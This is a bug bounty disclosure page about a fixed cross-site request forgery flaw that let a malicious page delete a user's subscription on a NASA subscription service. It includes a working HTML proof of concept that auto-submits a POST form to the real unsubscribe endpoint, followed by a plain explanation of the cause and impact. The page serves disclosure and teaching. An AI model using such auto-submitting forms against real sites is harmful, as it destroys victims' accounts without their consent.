Critical CSRF Vulnerability Exploiting Account Deletion on NASA Subscription Service
The NASA Subscription Service accepted a POST request that unsubscribes or deletes a user's subscription without any CSRF token or password confirmation. An attacker could make a logged-in victim's account be deleted by getting them to load a malicious page that auto-submits the form.
- Accepted in 3 days
- Fixed in 56 days
- Disclosed after 3 months
Summary by wbossw
Summary by wbossw:
A Cross-Site Request Forgery (CSRF) vulnerability was identified in the NASA Subscription Service that allows an attacker to trigger account deletion requests on behalf of authenticated users without their consent. Due to the absence of CSRF protections and password confirmation, an attacker can force a victim’s account to be permanently deleted simply by visiting a malicious webpage while logged into the platform.
Code used for the exploitation of the vulnerability:
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>PoC CSRF - NASA - wbossw</title>
</head>
<body>
<h1>CSRF PoC - NASA - wbossw</h1>
<form action="https://pds.nasa.gov/datasearch/subscription-service/nu_unsubscribe_response.cfm" method="POST" id="csrfForm">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>
I am proud to be able to say the following sentence. I have found a security flaw at NASA, we will see you soon wbossw
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the unsubscribe endpoint performed a state-changing action on a POST request without a CSRF token or re-authentication check.
Impact
A logged-in victim who visits a malicious page could have their subscription or account permanently deleted without consent.
What the attacker needed
Victim logged into the service; victim visits attacker page
How it was found
- While logged into the NASA Subscription Service, open an attacker-controlled page.
- The page contains a form that posts to the unsubscribe endpoint.
- The page's script submits the form automatically.
- The victim's subscription/account deletion request is processed without their consent.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you are logged into a site, your browser automatically sends your session cookie with every request to that site. Cross-site request forgery (CSRF) tricks your browser into sending a request the site trusts, because it comes from your logged-in session. Here the unsubscribe/delete action had no extra check, so a page on another site could trigger it silently.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.